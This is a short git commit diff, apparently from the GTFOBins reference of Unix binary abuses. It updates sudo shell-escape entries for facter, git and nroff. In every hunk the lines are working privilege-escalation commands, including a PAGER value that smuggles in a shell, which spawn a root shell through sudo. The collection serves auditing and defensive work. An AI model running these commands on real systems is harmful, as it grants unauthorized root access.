Use the sudo VAR=... syntax instead of using -E

This commit is contained in:
Andrea Cardaci 2020-06-10 22:56:05 +02:00
parent b92d9e0ec2
commit 9aa7ec842e
3 changed files with 3 additions and 3 deletions

View File

@ -9,5 +9,5 @@ functions:
- code: | - code: |
TF=$(mktemp -d) TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF sudo -E facter sudo FACTERLIB=$TF facter
--- ---

View File

@ -14,7 +14,7 @@ functions:
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x git -C "$TF" commit --allow-empty -m x
sudo: sudo:
- code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help - code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: | code: |
sudo git -p help config sudo git -p help config

View File

@ -13,5 +13,5 @@ functions:
echo '#!/bin/sh' > $TF/groff echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff chmod +x $TF/groff
sudo -E GROFF_BIN_PATH=$TF nroff sudo GROFF_BIN_PATH=$TF nroff
--- ---